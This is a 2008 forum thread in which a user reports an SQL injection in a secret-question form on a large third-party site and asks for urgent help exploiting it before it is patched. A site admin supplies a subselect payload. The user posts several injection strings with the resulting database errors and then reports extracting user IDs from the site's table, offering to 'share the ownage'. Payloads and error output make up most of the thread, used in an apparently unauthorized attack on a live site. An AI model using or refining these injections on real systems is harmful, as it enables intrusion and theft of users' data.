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When I inject code in it, I get: Quote: result = 20276 An Error Was Encountered Error Number: ERROR: syntax error at or near "' ; --'" LINE 2: VALUES ('48753', '5','blah' ' ; --') ^ INSERT INTO users_secret_questions (user_id, question_id, answer) VALUES ('48753', '5','blah' ' ; --') Please help ASAP, seeing this most likely will be patched within an hour! It's using PHP, so no stacked commands. Is there anything I can do? Re: SQL Injection, help, ASAP Posted: Mon May 26, 2008 3:27 pm waraxe Site admin Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu Oilik wrote: Hello, I found a potential SQL injection in an extremely popular large site. When I inject code in it, I get: Quote: result = 20276 An Error Was Encountered Error Number: ERROR: syntax error at or near "' ; --'" LINE 2: VALUES ('48753', '5','blah' ' ; --') ^ INSERT INTO users_secret_questions (user_id, question_id, answer) VALUES ('48753', '5','blah' ' ; --') Please help ASAP, seeing this most likely will be patched within an hour! It's using PHP, so no stacked commands. Is there anything I can do? Is it mysql, right? If it's >= 4.1, then maybe you can use subselects. Something like this: Code: 0'+(SELECT COUNT(*) FROM mysql.user)/* Can you see "answer" after you inserted it do database. If so, then visual feedback is OK. If no, then blind injection may be needed. Last edited by waraxe on Mon May 26, 2008 3:28 pm; edited 1 time in total Re: SQL Injection, help, ASAP Posted: Mon May 26, 2008 3:28 pm Oilik Active user Joined: Mar 05, 2008 Posts: 35 edit: still exists, but when I try that, I get Quote: ERROR: unterminated /* comment at or near "/* ') " LINE 2: ...ES ('48767', '1','0'+(SELECT COUNT(*) FROM mysql.user)/* ') ^ thanks! Posted: Mon May 26, 2008 3:40 pm Oilik Active user Joined: Mar 05, 2008 Posts: 35 sry for the double post, but I tried Code: 0'+(SELECT COUNT(*) FROM mysql.user));-- and got Code: An Error Was Encountered Error Number: ERROR: schema "mysql" does not exist INSERT INTO users_secret_questions (user_id, question_id, answer) VALUES ('48772', '1','0'+(SELECT COUNT(*) FROM mysql.user));--') please help, i'll share the ownage with you at the end :p Edit: I used Code: 0'+(SELECT user_id FROM users_secret_questions WHERE answer = 'hello' LIMIT 1));-- and I went in to check the plaintext of the security question. I got the first of users_secret_questions user's ID as my ASQ! I'm working on retrieveing better data right now. Thanks waraxe!!! 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